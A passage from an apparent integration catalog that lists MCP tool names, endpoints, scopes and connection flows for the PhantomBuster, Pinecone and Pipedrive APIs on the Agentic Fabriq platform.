/api/v1/phantombuster/scoring/fetch/{id}. Scopes: api. phantombuster_get_scripts_code (read) — Gets the code of a script. via GET /scripts/code GET /api/v1/phantombuster/scripts/code. Scopes: api. phantombuster_get_scripts_fetch (read) — Gets a script by id. via GET /scripts/fetch GET /api/v1/phantombuster/scripts/fetch. Scopes: api. phantombuster_get_scripts_fetch_all (read) — Gets all the scripts associated with the current user. via GET /scripts/fetch-all GET /api/v1/phantombuster/scripts/fetch-all. Scopes: api. phantombuster_get_users_fetch_me (read) — Gets the current user's info. If a sessionId is not provided the endpoint will create a new session and return the newly created id. via GET /users/fetch-me GET /api/v1/phantombuster/users/fetch-me. Scopes: api. phantombuster_post_agents_delete (write, destructive) — Deletes an agent by id. via POST /agents/delete POST /api/v1/phantombuster/agents/delete. Scopes: api. phantombuster_post_agents_launch (write) — Adds an agent to the launch queue. via POST /agents/launch POST /api/v1/phantombuster/agents/launch. Scopes: api. phantombuster_post_agents_launch_soon (write) — Schedules an agent to launch before a specific time. via POST /agents/launch-soon POST /api/v1/phantombuster/agents/launch-soon. Scopes: api. phantombuster_post_agents_save (write) — Updates or creates a new agent. If an id is provided, the corresponding agent will be updated. Otherwise, a new agent will be created. via POST /agents/save POST /api/v1/phantombuster/agents/save. Scopes: api. phantombuster_post_agents_stop (write) — Stops an agent. via POST /agents/stop POST /api/v1/phantombuster/agents/stop. Scopes: api. phantombuster_post_agents_unschedule_all (write, destructive) — Disables the automatic launch for all of the agents from the current organization. via POST /agents/unschedule-all POST /api/v1/phantombuster/agents/unschedule-all. Scopes: api. phantombuster_post_ai_advice (write) — Get a recommendation from the AI. via POST /ai/advice POST /api/v1/phantombuster/ai/advice. Scopes: api. phantombuster_post_ai_completions (write) — Get a completion from the AI. via POST /ai/completions POST /api/v1/phantombuster/ai/completions. Scopes: api. phantombuster_post_branches_create (write) — Creates a new branch. via POST /branches/create POST /api/v1/phantombuster/branches/create. Scopes: api. phantombuster_post_branches_delete (write, destructive) — Deletes a branch by id. via POST /branches/delete POST /api/v1/phantombuster/branches/delete. Scopes: api. phantombuster_post_branches_release (write) — Releases a script branch. via POST /branches/release POST /api/v1/phantombuster/branches/release. Scopes: api. phantombuster_post_hcaptcha (write) — Solves an hCaptcha challenge. This endpoint will return a 200 status code even if an error occurs. The error will be set in the response body. via POST /hcaptcha POST /api/v1/phantombuster/hcaptcha. Scopes: api. phantombuster_post_identities_events_save (write) — Save the identity event. via POST /identities/events/save POST /api/v1/phantombuster/identities/events/save. Scopes: api. phantombuster_post_identities_generate_token (write) — Generate identity token. via POST /identities/generate-token POST /api/v1/phantombuster/identities/generate-token. Scopes: api. phantombuster_post_identities_save (write) — Save identity. via POST /identities/save POST /api/v1/phantombuster/identities/save. Scopes: api. phantombuster_post_identities_save_with_token (write) — Save identity. via POST /identities/save-with-token POST /api/v1/phantombuster/identities/save-with-token. Scopes: api. phantombuster_post_identities_search (write) — Search identities. via POST /identities/search POST /api/v1/phantombuster/identities/search. Scopes: api. phantombuster_post_org_storage_companies_objects_save (write) — Save one company object. via POST /org-storage/companies-objects/save POST /api/v1/phantombuster/org-storage/companies-objects/save. Scopes: api. phantombuster_post_org_storage_companies_objects_save_many (write) — Save many company objects. via POST /org-storage/companies-objects/save-many POST /api/v1/phantombuster/org-storage/companies-objects/save-many. Scopes: api. phantombuster_post_org_storage_companies_objects_search (write) — Search companies objects. via POST /org-storage/companies-objects/search POST /api/v1/phantombuster/org-storage/companies-objects/search. Scopes: api. phantombuster_post_org_storage_leads_by_list_by_listid (write) — Fetch leads by their list id. via POST /org-storage/leads/by-list/{listId} POST /api/v1/phantombuster/org-storage/leads/by-list/{listId}. Scopes: api. phantombuster_post_org_storage_leads_delete_many (write, destructive) — Delete many leads. via POST /org-storage/leads/delete-many POST /api/v1/phantombuster/org-storage/leads/delete-many. Scopes: api. phantombuster_post_org_storage_leads_objects_delete (write, destructive) — Delete one or more leads objects. via POST /org-storage/leads-objects/delete POST /api/v1/phantombuster/org-storage/leads-objects/delete. Scopes: api. phantombuster_post_org_storage_leads_objects_save (write) — Save one lead object. via POST /org-storage/leads-objects/save POST /api/v1/phantombuster/org-storage/leads-objects/save. Scopes: api. phantombuster_post_org_storage_leads_objects_save_many (write) — Save many lead objects. via POST /org-storage/leads-objects/save-many POST /api/v1/phantombuster/org-storage/leads-objects/save-many. Scopes: api. phantombuster_post_org_storage_leads_objects_search (write) — Search leads objects. via POST /org-storage/leads-objects/search POST /api/v1/phantombuster/org-storage/leads-objects/search. Scopes: api. phantombuster_post_org_storage_leads_save (write) — Save one lead - Beta. via POST /org-storage/leads/save POST /api/v1/phantombuster/org-storage/leads/save. Scopes: api. phantombuster_post_org_storage_leads_save_many (write) — Save many leads - Beta. via POST /org-storage/leads/save-many POST /api/v1/phantombuster/org-storage/leads/save-many. Scopes: api. phantombuster_post_org_storage_lists_delete (write, destructive) — Delete a list - Beta. via POST /org-storage/lists/delete POST /api/v1/phantombuster/org-storage/lists/delete. Scopes: api. phantombuster_post_org_storage_lists_save (write) — Save a list - Beta. For more information, see the [Creating and updating leads lists using filters](https://hub.phantombuster.com/docs/creating-and-updating-leads-lists-using-filters) page in the Developer Guides. via POST /org-storage/lists/save POST /api/v1/phantombuster/org-storage/lists/save. Scopes: api. phantombuster_post_orgs_save (write) — Updates the current organization's info. Only web or MCP sessions are allowed to call this endpoint. Omit the `X-Phantombuster-Org` header to call this endpoint. via POST /orgs/save POST /api/v1/phantombuster/orgs/save. Scopes: api. phantombuster_post_orgs_save_agent_groups (write) — Updates the agent groups and order of the current user's organization. via POST /orgs/save-agent-groups POST /api/v1/phantombuster/orgs/save-agent-groups. Scopes: api. phantombuster_post_orgs_save_crm_contact (write) — Save new contacts to CRM. via POST /orgs/save-crm-contact POST /api/v1/phantombuster/orgs/save-crm-contact. Scopes: api. phantombuster_post_recaptcha (write) — Solves a reCAPTCHA challenge. Supports reCAPTCHA v3 and v2. This endpoint will return a 200 status code even if an error occurs. The error will be set in the response body. via POST /recaptcha POST /api/v1/phantombuster/recaptcha. Scopes: api. phantombuster_post_scripts_access_list (write) — Updates the access list of a script. via POST /scripts/access-list POST /api/v1/phantombuster/scripts/access-list. Scopes: api. phantombuster_post_scripts_delete (write, destructive) — Deletes a script by id. via POST /scripts/delete POST /api/v1/phantombuster/scripts/delete. Scopes: api. phantombuster_post_scripts_save (write) — Updates or creates a new script. If an id is provided, the corresponding script will be updated. Otherwise, a new script will be created. via POST /scripts/save POST /api/v1/phantombuster/scripts/save. Scopes: api. phantombuster_post_scripts_visibility (write) — Updates the visibility of a script. via POST /scripts/visibility POST /api/v1/phantombuster/scripts/visibility. Scopes: api. phantombuster_post_users_update_me (write) — Updates the current user's info. via POST /users/update-me POST /api/v1/phantombuster/users/update-me. Scopes: api. ================================================================================ ## Pinecone URL: https://www.agenticfabriq.com/integrations/pinecone Section: Integrated Tools Pinecone — 99 MCP tools Provider key: pinecone. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. pinecone_delete_admin_api_keys_by_api_key_id (write, destructive) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Delete an API key via DELETE /admin/api-keys/{api_key_id} DELETE /api/v1/pinecone/admin/api-keys/{api_key_id}. Scopes: api. pinecone_delete_admin_invites_by_invite_id (write, destructive) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Delete an invite via DELETE /admin/invites/{invite_id} DELETE /api/v1/pinecone/admin/invites/{invite_id}. Scopes: api. pinecone_delete_admin_organizations_by_organization_id (write, destructive) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Delete an organization via DELETE /admin/organizations/{organization_id} DELETE /api/v1/pinecone/admin/organizations/{organization_id}. Scopes: api. pinecone_delete_admin_projects_by_project_id (write, destructive) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Delete a project via DELETE /admin/projects/{project_id} DELETE /api/v1/pinecone/admin/projects/{project_id}. Scopes: api. pinecone_delete_admin_role_bindings_by_role_binding_id (write, destructive) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Delete a role binding via DELETE /admin/role-bindings/{role_binding_id} DELETE /api/v1/pinecone/admin/role-bindings/{role_binding_id}. Scopes: api. pinecone_delete_admin_service_accounts_by_service_account_id (write, destructive) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Delete a service account via DELETE /admin/service-accounts/{service_account_id} DELETE /api/v1/pinecone/admin/service-accounts/{service_account_id}. Scopes: api. pinecone_delete_admin_users_by_user_id (write, destructive) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Remove a user from the organization via DELETE /admin/users/{user_id} DELETE /api/v1/pinecone/admin/users/{user_id}. Scopes: api. pinecone_delete_assistants_by_assistant_name (write, destructive) — Delete an assistant via DELETE /assistants/{assistant_name} DELETE /api/v1/pinecone/assistants/{assistant_name}. Scopes: api. pinecone_delete_backup_schedules_by_schedule_id (write, destructive) — Delete a backup schedule via DELETE /backup-schedules/{schedule_id} DELETE /api/v1/pinecone/backup-schedules/{schedule_id}. Scopes: api. pinecone_delete_backups_by_backup_id (write, destructive) — Delete a backup via DELETE /backups/{backup_id} DELETE /api/v1/pinecone/backups/{backup_id}. Scopes: api. pinecone_delete_bulk_imports_by_id (write, destructive) — Cancel an import via DELETE /bulk/imports/{id} DELETE /api/v1/pinecone/indexes/{index_name}/bulk/imports/{id}. Scopes: api. pinecone_delete_collections_by_collection_name (write, destructive) — Delete a collection via DELETE /collections/{collection_name} DELETE /api/v1/pinecone/collections/{collection_name}. Scopes: api. pinecone_delete_files_by_assistant_name_by_assistant_file_id (write, destructive) — Delete a file via DELETE /files/{assistant_name}/{assistant_file_id} DELETE /api/v1/pinecone/files/{assistant_name}/{assistant_file_id}. Scopes: api. pinecone_delete_indexes_by_index_name (write, destructive) — Delete an index via DELETE /indexes/{index_name} DELETE /api/v1/pinecone/indexes/{index_name}. Scopes: api. pinecone_delete_namespaces_by_namespace (write, destructive) — Delete a namespace via DELETE /namespaces/{namespace} DELETE /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}. Scopes: api. pinecone_get_admin_api_keys_by_api_key_id (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Get API key details via GET /admin/api-keys/{api_key_id} GET /api/v1/pinecone/admin/api-keys/{api_key_id}. Scopes: api. pinecone_get_admin_invites (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. List invites via GET /admin/invites GET /api/v1/pinecone/admin/invites. Scopes: api. pinecone_get_admin_invites_by_invite_id (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Get invite details via GET /admin/invites/{invite_id} GET /api/v1/pinecone/admin/invites/{invite_id}. Scopes: api. pinecone_get_admin_organizations (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. List organizations via GET /admin/organizations GET /api/v1/pinecone/admin/organizations. Scopes: api. pinecone_get_admin_organizations_by_organization_id (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Get organization details via GET /admin/organizations/{organization_id} GET /api/v1/pinecone/admin/organizations/{organization_id}. Scopes: api. pinecone_get_admin_projects (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. List projects via GET /admin/projects GET /api/v1/pinecone/admin/projects. Scopes: api. pinecone_get_admin_projects_by_project_id (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Get project details via GET /admin/projects/{project_id} GET /api/v1/pinecone/admin/projects/{project_id}. Scopes: api. pinecone_get_admin_projects_by_project_id_api_keys (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. List API keys via GET /admin/projects/{project_id}/api-keys GET /api/v1/pinecone/admin/projects/{project_id}/api-keys. Scopes: api. pinecone_get_admin_role_bindings (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. List role bindings via GET /admin/role-bindings GET /api/v1/pinecone/admin/role-bindings. Scopes: api. pinecone_get_admin_role_bindings_by_role_binding_id (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Get role binding details via GET /admin/role-bindings/{role_binding_id} GET /api/v1/pinecone/admin/role-bindings/{role_binding_id}. Scopes: api. pinecone_get_admin_service_accounts (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. List service accounts via GET /admin/service-accounts GET /api/v1/pinecone/admin/service-accounts. Scopes: api. pinecone_get_admin_service_accounts_by_service_account_id (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Get service account details via GET /admin/service-accounts/{service_account_id} GET /api/v1/pinecone/admin/service-accounts/{service_account_id}. Scopes: api. pinecone_get_admin_users (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. List users in the organization via GET /admin/users GET /api/v1/pinecone/admin/users. Scopes: api. pinecone_get_admin_users_by_user_id (read) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Get user details via GET /admin/users/{user_id} GET /api/v1/pinecone/admin/users/{user_id}. Scopes: api. pinecone_get_assistants (read) — List assistants via GET /assistants GET /api/v1/pinecone/assistants. Scopes: api. pinecone_get_assistants_by_assistant_name (read) — Check assistant status via GET /assistants/{assistant_name} GET /api/v1/pinecone/assistants/{assistant_name}. Scopes: api. pinecone_get_backup_schedules_by_schedule_id (read) — Describe a backup schedule via GET /backup-schedules/{schedule_id} GET /api/v1/pinecone/backup-schedules/{schedule_id}. Scopes: api. pinecone_get_backup_schedules_by_schedule_id_history (read) — List backup history for a schedule via GET /backup-schedules/{schedule_id}/history GET /api/v1/pinecone/backup-schedules/{schedule_id}/history. Scopes: api. pinecone_get_backups (read) — List backups for all indexes in a project via GET /backups GET /api/v1/pinecone/backups. Scopes: api. pinecone_get_backups_by_backup_id (read) — Describe a backup via GET /backups/{backup_id} GET /api/v1/pinecone/backups/{backup_id}. Scopes: api. pinecone_get_bulk_imports (read) — List imports via GET /bulk/imports GET /api/v1/pinecone/indexes/{index_name}/bulk/imports. Scopes: api. pinecone_get_bulk_imports_by_id (read) — Describe an import via GET /bulk/imports/{id} GET /api/v1/pinecone/indexes/{index_name}/bulk/imports/{id}. Scopes: api. pinecone_get_collections (read) — List collections via GET /collections GET /api/v1/pinecone/collections. Scopes: api. pinecone_get_collections_by_collection_name (read) — Describe a collection via GET /collections/{collection_name} GET /api/v1/pinecone/collections/{collection_name}. Scopes: api. pinecone_get_files_by_assistant_name (read) — List Files via GET /files/{assistant_name} GET /api/v1/pinecone/files/{assistant_name}. Scopes: api. pinecone_get_files_by_assistant_name_by_assistant_file_id (read) — Describe a file via GET /files/{assistant_name}/{assistant_file_id} GET /api/v1/pinecone/files/{assistant_name}/{assistant_file_id}. Scopes: api. pinecone_get_indexes (read) — List indexes via GET /indexes GET /api/v1/pinecone/indexes. Scopes: api. pinecone_get_indexes_by_index_name (read) — Describe an index via GET /indexes/{index_name} GET /api/v1/pinecone/indexes/{index_name}. Scopes: api. pinecone_get_indexes_by_index_name_backup_schedules (read) — List backup schedules for an index via GET /indexes/{index_name}/backup-schedules GET /api/v1/pinecone/indexes/{index_name}/backup-schedules. Scopes: api. pinecone_get_indexes_by_index_name_backups (read) — List backups for an index via GET /indexes/{index_name}/backups GET /api/v1/pinecone/indexes/{index_name}/backups. Scopes: api. pinecone_get_models (read) — List available models via GET /models GET /api/v1/pinecone/models. Scopes: api. pinecone_get_models_by_model_name (read) — Describe a model via GET /models/{model_name} GET /api/v1/pinecone/models/{model_name}. Scopes: api. pinecone_get_namespaces (read) — List namespaces via GET /namespaces GET /api/v1/pinecone/indexes/{index_name}/namespaces. Scopes: api. pinecone_get_namespaces_by_namespace (read) — Describe a namespace via GET /namespaces/{namespace} GET /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}. Scopes: api. pinecone_get_operations_by_assistant_name (read) — List operations via GET /operations/{assistant_name} GET /api/v1/pinecone/operations/{assistant_name}. Scopes: api. pinecone_get_operations_by_assistant_name_by_operation_id (read) — Describe an operation via GET /operations/{assistant_name}/{operation_id} GET /api/v1/pinecone/operations/{assistant_name}/{operation_id}. Scopes: api. pinecone_get_prometheus_projects_by_project_id_metrics_discover (read) — Prometheus HTTP Service Discovery via GET /prometheus/projects/{project_id}/metrics/discover GET /api/v1/pinecone/prometheus/projects/{project_id}/metrics/discover. Scopes: api. pinecone_get_restore_jobs (read) — List restore jobs via GET /restore-jobs GET /api/v1/pinecone/restore-jobs. Scopes: api. pinecone_get_restore_jobs_by_job_id (read) — Describe a restore job via GET /restore-jobs/{job_id} GET /api/v1/pinecone/restore-jobs/{job_id}. Scopes: api. pinecone_get_vectors_fetch (read) — Fetch records via GET /vectors/fetch GET /api/v1/pinecone/indexes/{index_name}/vectors/fetch. Scopes: api. pinecone_get_vectors_list (read) — List record IDs via GET /vectors/list GET /api/v1/pinecone/indexes/{index_name}/vectors/list. Scopes: api. pinecone_patch_admin_api_keys_by_api_key_id (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Update an API key via PATCH /admin/api-keys/{api_key_id} PATCH /api/v1/pinecone/admin/api-keys/{api_key_id}. Scopes: api. pinecone_patch_admin_organizations_by_organization_id (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Update an organization via PATCH /admin/organizations/{organization_id} PATCH /api/v1/pinecone/admin/organizations/{organization_id}. Scopes: api. pinecone_patch_admin_projects_by_project_id (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Update a project via PATCH /admin/projects/{project_id} PATCH /api/v1/pinecone/admin/projects/{project_id}. Scopes: api. pinecone_patch_admin_service_accounts_by_service_account_id (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Update a service account via PATCH /admin/service-accounts/{service_account_id} PATCH /api/v1/pinecone/admin/service-accounts/{service_account_id}. Scopes: api. pinecone_patch_assistants_by_assistant_name (write) — Update an assistant via PATCH /assistants/{assistant_name} PATCH /api/v1/pinecone/assistants/{assistant_name}. Scopes: api. pinecone_patch_backup_schedules_by_schedule_id (write) — Update a backup schedule via PATCH /backup-schedules/{schedule_id} PATCH /api/v1/pinecone/backup-schedules/{schedule_id}. Scopes: api. pinecone_patch_indexes_by_index_name (write) — Configure an index via PATCH /indexes/{index_name} PATCH /api/v1/pinecone/indexes/{index_name}. Scopes: api. pinecone_post_admin_invites (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Invite a user to the organization via POST /admin/invites POST /api/v1/pinecone/admin/invites. Scopes: api. pinecone_post_admin_invites_by_invite_id_resend (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Resend an invite email via POST /admin/invites/{invite_id}/resend POST /api/v1/pinecone/admin/invites/{invite_id}/resend. Scopes: api. pinecone_post_admin_projects (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Create a new project via POST /admin/projects POST /api/v1/pinecone/admin/projects. Scopes: api. pinecone_post_admin_projects_by_project_id_api_keys (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Create an API key via POST /admin/projects/{project_id}/api-keys POST /api/v1/pinecone/admin/projects/{project_id}/api-keys. Scopes: api. pinecone_post_admin_role_bindings (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Create a role binding via POST /admin/role-bindings POST /api/v1/pinecone/admin/role-bindings. Scopes: api. pinecone_post_admin_service_accounts (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Create a service account via POST /admin/service-accounts POST /api/v1/pinecone/admin/service-accounts. Scopes: api. pinecone_post_admin_service_accounts_by_service_account_id_rotate_secret (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Rotate a service account's OAuth client secret via POST /admin/service-accounts/{service_account_id}/rotate-secret POST /api/v1/pinecone/admin/service-accounts/{service_account_id}/rotate-secret. Scopes: api. pinecone_post_assistants (write) — Create an assistant via POST /assistants POST /api/v1/pinecone/assistants. Scopes: api. pinecone_post_backups_by_backup_id_create_index (write) — Create an index from a backup via POST /backups/{backup_id}/create-index POST /api/v1/pinecone/backups/{backup_id}/create-index. Scopes: api. pinecone_post_bulk_imports (write) — Start import via POST /bulk/imports POST /api/v1/pinecone/indexes/{index_name}/bulk/imports. Scopes: api. pinecone_post_chat_by_assistant_name (write) — Chat with an assistant via POST /chat/{assistant_name} POST /api/v1/pinecone/chat/{assistant_name}. Scopes: api. pinecone_post_chat_by_assistant_name_chat_completions (write) — Chat through an OpenAI-compatible interface via POST /chat/{assistant_name}/chat/completions POST /api/v1/pinecone/chat/{assistant_name}/chat/completions. Scopes: api. pinecone_post_chat_by_assistant_name_context (write) — Retrieve context from an assistant via POST /chat/{assistant_name}/context POST /api/v1/pinecone/chat/{assistant_name}/context. Scopes: api. pinecone_post_collections (write) — Create a collection via POST /collections POST /api/v1/pinecone/collections. Scopes: api. pinecone_post_describe_index_stats (write) — Get index stats via POST /describe_index_stats POST /api/v1/pinecone/indexes/{index_name}/describe_index_stats. Scopes: api. pinecone_post_embed (write) — Generate vectors via POST /embed POST /api/v1/pinecone/embed. Scopes: api. pinecone_post_evaluation_metrics_alignment (write) — Evaluate an answer via POST /evaluation/metrics/alignment POST /api/v1/pinecone/evaluation/metrics/alignment. Scopes: api. pinecone_post_indexes (write) — Create an index via POST /indexes POST /api/v1/pinecone/indexes. Scopes: api. pinecone_post_indexes_by_index_name_backup_schedules (write) — Create a backup schedule for an index via POST /indexes/{index_name}/backup-schedules POST /api/v1/pinecone/indexes/{index_name}/backup-schedules. Scopes: api. pinecone_post_indexes_by_index_name_backups (write) — Create a backup of an index via POST /indexes/{index_name}/backups POST /api/v1/pinecone/indexes/{index_name}/backups. Scopes: api. pinecone_post_indexes_create_for_model (write) — Create an index with integrated embedding via POST /indexes/create-for-model POST /api/v1/pinecone/indexes/create-for-model. Scopes: api. pinecone_post_namespaces (write) — Create a namespace via POST /namespaces POST /api/v1/pinecone/indexes/{index_name}/namespaces. Scopes: api. pinecone_post_namespaces_by_namespace_documents_delete (write) — Delete documents via POST /namespaces/{namespace}/documents/delete POST /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}/documents/delete. Scopes: api. pinecone_post_namespaces_by_namespace_documents_fetch (write) — Fetch documents via POST /namespaces/{namespace}/documents/fetch POST /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}/documents/fetch. Scopes: api. pinecone_post_namespaces_by_namespace_documents_list (write) — List documents via POST /namespaces/{namespace}/documents/list POST /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}/documents/list. Scopes: api. pinecone_post_namespaces_by_namespace_documents_search (write) — Search documents via POST /namespaces/{namespace}/documents/search POST /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}/documents/search. Scopes: api. pinecone_post_namespaces_by_namespace_documents_update (write) — Update documents via POST /namespaces/{namespace}/documents/update POST /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}/documents/update. Scopes: api. pinecone_post_namespaces_by_namespace_documents_upsert (write) — Upsert documents via POST /namespaces/{namespace}/documents/upsert POST /api/v1/pinecone/indexes/{index_name}/namespaces/{namespace}/documents/upsert. Scopes: api. pinecone_post_oauth_token (write) — NOT CALLABLE with a pasted Pinecone API key -- needs a service-account access token. Create an access token via POST /oauth/token POST /api/v1/pinecone/oauth/token. Scopes: api. pinecone_post_query (write) — Search with a vector via POST /query POST /api/v1/pinecone/indexes/{index_name}/query. Scopes: api. pinecone_post_records_namespaces_by_namespace_search (write) — Search with text via POST /records/namespaces/{namespace}/search POST /api/v1/pinecone/indexes/{index_name}/records/namespaces/{namespace}/search. Scopes: api. pinecone_post_rerank (write) — Rerank results via POST /rerank POST /api/v1/pinecone/rerank. Scopes: api. pinecone_post_vectors_delete (write) — Delete records via POST /vectors/delete POST /api/v1/pinecone/indexes/{index_name}/vectors/delete. Scopes: api. pinecone_post_vectors_fetch_by_metadata (write) — Fetch records by metadata via POST /vectors/fetch_by_metadata POST /api/v1/pinecone/indexes/{index_name}/vectors/fetch_by_metadata. Scopes: api. pinecone_post_vectors_update (write) — Update a record via POST /vectors/update POST /api/v1/pinecone/indexes/{index_name}/vectors/update. Scopes: api. pinecone_post_vectors_upsert (write) — Upsert records via POST /vectors/upsert POST /api/v1/pinecone/indexes/{index_name}/vectors/upsert. Scopes: api. ================================================================================ ## Pipedrive URL: https://www.agenticfabriq.com/integrations/pipedrive Section: Integrated Tools Pipedrive — 156 MCP tools Provider key: pipedrive. Scopes: activities:full, admin, contact-fields:full, contacts:full, deal-fields:full, deals:full, leads:full, product-fields:full, products:full, project-fields:full, projects:full, search:read, users:read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. pipedrive_delete_activities_by_id (write, destructive) — Delete activity via DELETE /activities/{id} DELETE /api/v1/pipedrive/activities/{id}. Scopes: activities:full. pipedrive_delete_boards_by_id (write, destructive) — Delete project board via DELETE /boards/{id} DELETE /api/v1/pipedrive/boards/{id}. Scopes: projects:full. pipedrive_delete_dealfields_by_field_code (write, destructive) — Delete deal field via DELETE /dealFields/{field_code} DELETE /api/v1/pipedrive/dealFields/{field_code}. Scopes: admin, deal-fields:full. pipedrive_delete_dealfields_by_field_code_options (write, destructive) — Delete deal field options via DELETE /dealFields/{field_code}/options DELETE /api/v1/pipedrive/dealFields/{field_code}/options. Scopes: admin, deal-fields:full, deals:full. pipedrive_delete_deals_by_id (write, destructive) — Delete deal via DELETE /deals/{id} DELETE /api/v1/pipedrive/deals/{id}. Scopes: deals:full. pipedrive_delete_deals_by_id_discounts_by_discount_id (write, destructive) — Delete additional discount via DELETE /deals/{id}/discounts/{discount_id} DELETE /api/v1/pipedrive/deals/{id}/discounts/{discount_id}. Scopes: deals:full. pipedrive_delete_deals_by_id_followers_by_follower_id (write, destructive) — Delete deal follower via DELETE /deals/{id}/followers/{follower_id} DELETE /api/v1/pipedrive/deals/{id}/followers/{follower_id}. Scopes: deals:full. pipedrive_delete_deals_by_id_installments_by_installment_id (write, destructive) — Delete installment via DELETE /deals/{id}/installments/{installment_id} DELETE /api/v1/pipedrive/deals/{id}/installments/{installment_id}. Scopes: deals:full. pipedrive_delete_deals_by_id_products (write, destructive) — Delete many deal products via DELETE /deals/{id}/products DELETE /api/v1/pipedrive/deals/{id}/products. Scopes: deals:full, products:full. pipedrive_delete_deals_by_id_products_by_product_attachment_id (write, destructive) — Delete deal product via DELETE /deals/{id}/products/{product_attachment_id} DELETE /api/v1/pipedrive/deals/{id}/products/{product_attachment_id}. Scopes: deals:full, products:full. pipedrive_delete_organizationfields_by_field_code (write, destructive) — Delete organization field via DELETE /organizationFields/{field_code} DELETE /api/v1/pipedrive/organizationFields/{field_code}. Scopes: admin, contact-fields:full. pipedrive_delete_organizationfields_by_field_code_options (write, destructive) — Delete organization field options via DELETE /organizationFields/{field_code}/options DELETE /api/v1/pipedrive/organizationFields/{field_code}/options. Scopes: admin, contact-fields:full, contacts:full. pipedrive_delete_organizations_by_id (write, destructive) — Delete organization via DELETE /organizations/{id} DELETE /api/v1/pipedrive/organizations/{id}. Scopes: contacts:full. pipedrive_delete_organizations_by_id_followers_by_follower_id (write, destructive) — Delete organization follower via DELETE /organizations/{id}/followers/{follower_id} DELETE /api/v1/pipedrive/organizations/{id}/followers/{follower_id}. Scopes: contacts:full. pipedrive_delete_personfields_by_field_code (write, destructive) — Delete person field via DELETE /personFields/{field_code} DELETE /api/v1/pipedrive/personFields/{field_code}. Scopes: admin, contact-fields:full. pipedrive_delete_personfields_by_field_code_options (write, destructive) — Delete person field options via DELETE /personFields/{field_code}/options DELETE /api/v1/pipedrive/personFields/{field_code}/options. Scopes: admin, contact-fields:full, contacts:full. pipedrive_delete_persons_by_id (write, destructive) — Delete person via DELETE /persons/{id} DELETE /api/v1/pipedrive/persons/{id}. Scopes: contacts:full. pipedrive_delete_persons_by_id_followers_by_follower_id (write, destructive) — Delete person follower via DELETE /persons/{id}/followers/{follower_id} DELETE /api/v1/pipedrive/persons/{id}/followers/{follower_id}. Scopes: contacts:full. pipedrive_delete_phases_by_id (write, destructive) — Delete project phase via DELETE /phases/{id} DELETE /api/v1/pipedrive/phases/{id}. Scopes: projects:full. pipedrive_delete_pipelines_by_id (write, destructive) — Delete pipeline via DELETE /pipelines/{id} DELETE /api/v1/pipedrive/pipelines/{id}. Scopes: admin. pipedrive_delete_productfields_by_field_code (write, destructive) — Delete product field via DELETE /productFields/{field_code} DELETE /api/v1/pipedrive/productFields/{field_code}. Scopes: product-fields:full, products:full. pipedrive_delete_productfields_by_field_code_options (write, destructive) — Delete product field options via DELETE /productFields/{field_code}/options DELETE /api/v1/pipedrive/productFields/{field_code}/options. Scopes: product-fields:full, products:full. pipedrive_delete_products_by_id (write, destructive) — Delete product via DELETE /products/{id} DELETE /api/v1/pipedrive/products/{id}. Scopes: products:full. pipedrive_delete_products_by_id_followers_by_follower_id (write, 